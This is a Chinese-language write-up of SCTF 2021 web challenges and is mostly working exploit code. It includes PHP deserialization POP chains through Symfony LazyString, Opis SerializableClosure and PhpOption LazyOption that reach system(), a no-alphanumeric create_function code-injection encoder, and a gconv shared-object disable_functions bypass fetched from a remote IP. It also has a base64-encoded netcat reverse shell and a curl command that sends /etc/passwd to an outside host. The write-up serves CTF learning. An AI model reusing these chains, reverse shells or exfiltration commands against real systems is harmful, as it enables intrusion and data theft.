0%

SCTF2021 web

前言

题目超出能力之外,还需继续学习

wp

SCTF 2021 SU Write-Up

SCTF 2021 wp

SCTF 2021 writeup by r4kapig - HackMD

SCTF 2021 Writeup by Dest0g3

SCTF web | (guokeya.github.io)

Loginme

Go语言题目,给了附件

struct.go

middleware.go

这里用 X-Real-IP: 127.0.0.1 进行绕过

route.go

由于age参数可控导致在解析的时候泄露Password,具体的go解析渲染参看 golang学习之gin(二):模板渲染

{{.Password}} 来泄露admin的password

upload

  • session反序列化

给了两个组件,先弄下来看看

搜了一下相关题目,考点应该是通过闭包函数通过call_user_func来调用函数,先找一下链子

yii 2.0.42 最新反序列化利用全集

DASCTF Sept X 浙江工业大学秋季挑战赛

xxc | Hexo

一开始我以为在$SESSION这里可以直接通过 .来触发 __toString,但是后续发现是通过 __sleep 来触发的 __toString,不是很懂,等看大佬们的wp再理解一下

这里是通过__sleep来触发的__toString

vendor\symfony\string\LazyString.php

这里 value可控

return $this->value = ($this->value)();

这里可以触发 __invoke 函数,搜索得到

\vendor\opis\closure\src\SerializableClosure.php

通过将闭包包装成一个Opis\Closure\SerializableClosure 对象,执行闭包函数

exp:

<?php
namespace Symfony\Component\String;
class LazyString{
public $value;
public function __construct(){

require "../vendor/opis/closure/autoload.php";
$a = function(){system("whoami");};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->value=$b;
}
}
print("upload_path|".serialize(new LazyString()));
?>

覆盖session文件,这里自己一直犯病,非要手动加 ; 所以一直没写出来…

再次访问,反序列化成功

Upload_it 2

这回没有闭包函数,新添加了一个sandbox类

class sandbox {
private $evil;
public $upload_path;

public function make_user_upload_dir() {
$md5_dir = md5($_SERVER['REMOTE_ADDR'] . session_id());
$this->upload_path = UPLOAD_PATH . "/" . $md5_dir;
@mkdir($this->upload_path);
$_SESSION["upload_path"] = $this->upload_path;
}

public function has_upload_dir() {
return !empty($_SESSION["upload_path"]);
}

public function __wakeup() {
/*
I removed this code because it was too dangerous.
*/
throw new Error("NO NO NO");
}

public function __destruct() {
/*
I removed this code because it was too dangerous.
*/
}

public function __call($func, $value) {
if (method_exists($this, $func)) {
call_user_func_array(
[$this, $func],
$value
);
}
}

private function backdoor() {
// __destruct and __wakeup are deleted. It looks like backdoor should not be called.
include_once $this->evil;
}
}

$box = new sandbox();
if (!$box->has_upload_dir()) {
$box->make_user_upload_dir();
}

还是利用__toString 函数

这里以前遇到的形式可能是这样的 $可控->$可控() 这样触发 __call方法 这里形式是 $可控()

这里 $this->vaalue 利用数组形式 触发sandbox的call 因为backdoor()是private属性

触发backdoor()

exp:

<?php

namespace Symfony\Component\String{
class LazyString{
public $value;

public function __construct($value){
$this->value = $value;
}
}
}

namespace {
class sandbox {
public $evil;
public function __construct(){
$this->evil = "D:/phpstudy_pro/WWW/upload/public/flag";
}
}
use Symfony\Component\String\LazyString;

$value = [new sandbox,"backdoor"];

$lazy = new LazyString($value);

echo serialize($lazy);

}

Rceme

  • 无参rce
  • bypass disable function
    <?php
    if(isset($_POST['cmd'])){
    $code = $_POST['cmd'];
    if(preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
    die('<script>alert(\'Try harder!\');history.back()</script>');
    }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
    @eval($code);
    die();
    }
    } else {
    highlight_file(__FILE__);
    var_dump(ini_get("disable_functions"));
    }
    ?>
    disable_functions 究极多

剩下 ().:[]{}*%#@!~

剩下函数:

strlen
error_reporting
set_error_handler
create_function
preg_match
preg_replace
phpinfo
strstr
escapeshellarg
getenv
putenv
call_user_func
unserialize
var_dump
highlight_file
show_source
ini_get
end
apache_setenv
getallheaders

异或脚本:

def one(s):
ss = ""
for each in s:
ss += "%" + str(hex(255 - ord(each)))[2:].upper()
return f"[~{ss}][!%FF]("

"""
组成类似于system(pos(next(getallheaders())));即可
a=whoami
"""
while 1:
a = input(":>").strip(")")
aa = a.split("(")
s = ""
for each in aa[:-1]:
s += one(each)
s += ")" * (len(aa) - 1) + ";"
print(s)

利用 create_function 来执行任意php代码,这里没有逗号,所以无法传入参数

利用 可变参数列表 进行绕过,即构造这样的函数,利用 数组将参数传入

<?php
$args=['','}system("whoami");//'];
create_function(...$args);
?>

但是数组怎么控制并传入?利用 unserialize,再配合end getallheaders 即可代码执行

即:

create_function(...unserialize(end(getallheaders())))

手动加 成功执行

接下来bypass df

根据 ByteCTF WP-无需mail bypass disable_functions

payload.c

#include <stdio.h>
#include <stdlib.h>

void gconv() {}

void gconv_init() {
puts("pwned");
system("cat /flag > /tmp/y0ng");
exit(0);
}

生成.so

gcc payload.c -o payload.so -shared -fPIC 

gconv-modules

module  PAYLOAD//    INTERNAL    ../../../../../../../../tmp/payload    2
module INTERNAL PAYLOAD// ../../../../../../../../tmp/payload 2

SplFileObjectpayload.sogconv-modules

$url = "http://150.158.181.145:8000/payload.so";
//$url = "http://150.158.181.145:8000/gconv-modules";

$file1 = new SplFileObject($url,'r');
$a="";
while(!$file1->eof())
{
$a=$a.$file1->fgets();
}
$file2 = new SplFileObject('/tmp/payload.so','w');
//$file2 = new SplFileObject('/tmp/gconv-modules','w');
$file2->fwrite($a);

因为 iconv 被ban所以搭配伪协议 中php://filter中的 convert.iconv 进行触发

putenv("GCONV_PATH=/tmp/");show_source("php://filter/read=convert.iconv.payload.utf-8/resource=/tmp/payload.so"); 

读取flag

ezosu

给了Dockerfile,其中有一处nginx反代和一个Imi框架的文件

其中反代这里只有对请求进行转发和/app/static目录下的一大堆静态文件

IMi框架中Index控制器中有一个config方法,主要代码如下:

在/config下如果post传参数放到session中,get方式就显示出来session

先访问一下

确实符合预期

看一下对session的操作

<?php

function encode($data): string
{
$result = '';
foreach ($data as $k => $v)
{
$result .= $k . '|' . serialize($v);
}

return $result;
}


function decode(string $data)
{
$result = [];
$offset = 0;
$length = \strlen($data);
while ($offset < $length)
{
if (!strstr(substr($data, $offset), '|'))
{
return [];
}
$pos = strpos($data, '|', $offset);
$num = $pos - $offset;
$varname = substr($data, $offset, $num);
$offset += $num + 1;
$a = substr($data, $offset);
$dataItem = unserialize($a);
$result[$varname] = $dataItem;
$offset += \strlen(serialize($dataItem));
}

return $result;
}

$data = 'aa|s:4:y0ng|s:5:"admin"';

var_dump(decode($data));

echo 'a'.'|'.serialize('b');
?>

尝试注入

还是找链子,写入,session反序列化触发任意类任意方法

因为这里存在serialize操作,所以会触发__sleep()

借用一下师傅的图片

还是通过LazyString构造链子

exp:

<?php
namespace Symfony\Component\String{
class LazyString{
public $value;
public function __construct($value){
$this->value=$value;
}
}
}
namespace PhpOption{
final class LazyOption{
public $callback;
public $arguments;
public function __construct($callback,$arguments){
$this->callback=$callback;
$this->arguments=$arguments;
}
}
}

namespace {
use Symfony\Component\String\LazyString;
$la = new LazyString([new PhpOption\LazyOption("system",array('echo$IFS$9cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMS4xNS42Ny4xNDIgMTMzNyA+L3RtcC9m|base64$IFS$9-d|sh')),"get"]);
echo urlencode(serialize($la));
}

还有feng师傅的 create_function 注入 好思路

<?php
namespace Symfony\Component\String{

use PhpOption\LazyOption;

class LazyString{
public $value;
public function __construct(){
$a = new LazyOption();
$this->value =[$a,'getIterator'];
}
}
}
namespace PhpOption{
final class LazyOption{
public $option = null;
public $callback = 'create_function';
public $arguments = ['',"}system(base64_decode('xxx'));//"];
}
}
namespace {


use Symfony\Component\String\LazyString;

session_start();
$_SESSION['feng'] = new LazyString();
}

curl 外带数据就行了

curl http://1.116.110.61:9999 -F file=@/etc/passwd

FUMO_on_the_Christmas_tree

想到强网杯那个popmaster

SCTF 2021 wp – EastJun’s Blog

import re
import base64

otov = {}
vtoo = {}
otoc = {}
ctoo = {}
otof = {}
ftoo = {}
otoa = {}
classes = {}

def trav(name, cls, al):
if "fumo" in classes[name]:
print("->".join(cls))
print(f"start->{'->'.join(al)}->end",end="\n\n")
return 1
for call in otoc[name]:
if call in ftoo.keys():
next = ftoo[call]
if next not in cls:
trav(next, cls + [next], al+[otoa[name]])
return 0

if __name__ == "__main__":
with open("class.code") as f:
text = f.read()
res = re.findall("class[\w\W]+?}[\w\W]+?}", text)
for i in res:
name = re.findall("class (\w+)", i)[0]
classes[name] = i
fs = re.findall("public object (\$\w+?);", i)
otov[name] = fs
for fc in fs:
vtoo[fc] = name
calls = re.findall("\$this->\w+?->(\w+)\(", i)
calls1 = []
a = re.findall("@\$(\w+) = (\w+?)?[(]?\$(\w+)[)]?;", i)
disable = ("md5", "sha1", "crypt", "ucfirst")
for call in calls:
ctoo[call] = name
if len(a) == 0 and "crypt" not in i:
calls1.append(call)
otoa[name]=""
else:
if len(a) == 0:
a = re.findall("@\$(\w+) = (\w+?)?[(]?\$(\w+), \'\w+?\'[)]?;", i)
if len(a)==1:
a = list(a[0])
if "crypt" in i:
a[1] = "crypt"
otoa[name] = a[1]
if a[0] == a[2] and (
a[1] != ""
and not (a[1] in disable and i.find(a[1]) < i.find(call))
or a[1] == ""):
calls1.append(call)
calls2 = re.findall("@call_user_func\(\$this->\w+?, \[\'(\w+?)\' => \$\w+?]\);", i)
if calls2:
ctoo[name] = calls2[0]
otoa[name] = ""
otoc[name] = calls1 + calls2
func = re.findall("function (\w+?)\(", i)[0]
ftoo[func] = name
otof[name] = func

if func == "__call":
calls = re.findall("=> '(\w+?)'", i)
otoc[name] = calls
ctoo[calls[0]] = name
func = re.findall("\[\$this->\w+?, \$(\w+)?\]", i)[0]
otof[name] = func
ftoo[func] = name
otoa[name] = ""
elif func == "__invoke":
calls = re.findall("\$this->\w+?->(\w+?)\(", i)
otoc[name] = calls
ctoo[calls[0]] = name
func = re.findall("\$key = base64_decode\('(.+?)'\);", i)[0]
func = base64.b64decode(func.encode()).decode()
otof[name] = func
ftoo[func] = name
otoa[name] = ""
trav(ftoo["__destruct"], [ftoo["__destruct"]],[])